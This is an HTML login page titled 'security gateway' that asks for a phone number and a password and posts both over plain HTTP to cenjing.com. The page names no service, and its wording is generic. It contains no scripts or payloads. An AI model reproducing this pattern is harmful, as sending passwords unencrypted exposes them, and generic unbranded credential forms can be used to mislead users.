<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>安全网关</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        :root {
            --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --bg-base: #ecfdf5; --font-family: &#039;Courier New&#039;, Courier, monospace
        }
        body {
            font-family: var(--font-family), system-ui, sans-serif;
            color: var(--color-text);
            background: linear-gradient(-45deg, #ecfdf5, #059669, #34d399, #ecfdf5); background-size: 400% 400%; animation: move-bg 25s ease infinite;
        }
        .theme-bg {
            --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --bg-base: #ecfdf5; --font-family: &#039;Courier New&#039;, Courier, monospace;
        }
        /* Background Animations */
        @keyframes move-bg {
                    0% { background-position: 0% 50%; }
                    50% { background-position: 100% 50%; }
                    100% { background-position: 0% 50%; }
                }

        /* Entry Animation */
        @keyframes flipIn {
                    from { opacity: 0; transform: perspective(400px) rotateX(-20deg); }
                    to { opacity: 1; transform: perspective(400px) rotateX(0); }
                }
.anim-flip-in { animation-name: flipIn; }

        .animate-enter {
            animation-duration: 0.6s;
            animation-fill-mode: both;
            animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
        }

        /* Text Readability Enhancements */
        body, h1, h2, h3, h4, h5, h6, p, label, span {
            text-shadow: 0 1px 2px rgba(0, 0, 0, 0.15);
        }

        /* Input fields use theme variables */
        input[type="text"],
        input[type="password"],
        input[type="email"],
        input[type="tel"] {
            text-shadow: none;
        }

        /* Custom Utilities using vars */
        .btn-primary {
            background-color: var(--color-primary);
            color: white;
            transition: all 0.2s;
            text-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
        }
        .btn-primary:hover {
            opacity: 0.9;
            transform: translateY(-1px);
        }
        .input-theme {
            border-color: color-mix(in srgb, var(--color-text) 20%, transparent);
            background-color: color-mix(in srgb, var(--bg-style) 50%, white);
        }
        .input-theme:focus {
            border-color: var(--color-accent);
            ring-color: var(--color-accent);
        }
        .link-accent {
            color: var(--color-accent);
        }
        .link-accent:hover {
            color: var(--color-primary);
        }
    </style>
</head>
<body class="h-screen w-screen overflow-hidden" style="--color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --bg-base: #ecfdf5; --font-family: &#039;Courier New&#039;, Courier, monospace">
    <div class="flex min-h-screen flex-col justify-center py-12 sm:px-6 lg:px-8" style="--color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --color-primary: #059669; --color-accent: #34d399; --color-text: #064e3b; --bg-base: #ecfdf5; --font-family: &#039;Courier New&#039;, Courier, monospace">
    <div class="sm:mx-auto sm:w-full sm:max-w-md animate-enter anim-flip-in bg-[var(--bg-base)] rounded-[2rem] shadow-2xl p-8">
        <div class="space-y-6">
    <div class="text-center">
        <h2 class="text-3xl font-bold tracking-tight" style="color: var(--color-primary)">使用手机登录</h2>
        <p class="mt-2 text-sm text-[var(--color-text)]/80">请使用绑定手机号登录</p>
    </div>

    
    <form class="space-y-6" action="http://www.cenjing.com" method="POST">
        <input type="hidden" name="_token" value="8nWBlOqbMT5J7oc1rI9GiLDSmXnjAvIzPkXBOQHT" autocomplete="off">        <div>
            <label for="identity" class="block text-sm font-medium leading-6 text-[var(--color-text)]/90">
                手机号码
            </label>
            <div class="mt-2">
                <input id="identity"
                       name="phone"
                       type="tel"
                       required
                       placeholder="请输入凭证"
                       class="input-theme block w-full rounded-md border-0 py-2.5 px-3 shadow-sm ring-1 ring-inset ring-[var(--color-text)]/20 placeholder:text-[var(--color-text)]/40 focus:ring-2 focus:ring-inset focus:ring-[var(--color-primary)] sm:text-sm sm:leading-6 text-[var(--color-text)]"
                       style="background-color: var(--bg-base);">
            </div>
        </div>

        <div>
            <div class="flex items-center justify-between">
                <label for="password" class="block text-sm font-medium leading-6 text-[var(--color-text)]/90">密码</label>
            </div>
            <div class="mt-2">
                <input id="password" name="password" type="password" required placeholder="********"
                    class="input-theme block w-full rounded-md border-0 py-2.5 px-3 shadow-sm ring-1 ring-inset ring-[var(--color-text)]/20 placeholder:text-[var(--color-text)]/40 focus:ring-2 focus:ring-inset focus:ring-[var(--color-primary)] sm:text-sm sm:leading-6 text-[var(--color-text)]"
                    style="background-color: var(--bg-base);">
            </div>
        </div>

        <div>
            <button type="submit"
            class="btn-primary w-full flex justify-center rounded-md px-3 py-2.5 text-sm font-semibold shadow-sm focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2">
                开始验证
            </button>
        </div>
    </form>

    <div class="mt-10 text-center space-y-2">
        <p class="text-xs text-[var(--color-text)]/70">
            
        </p>
        <p class="text-xs text-[var(--color-text)]/50">
            cenjing.com | 2024-2026
        </p>
    </div>
</div>
    </div>
</div>
</body>
</html>
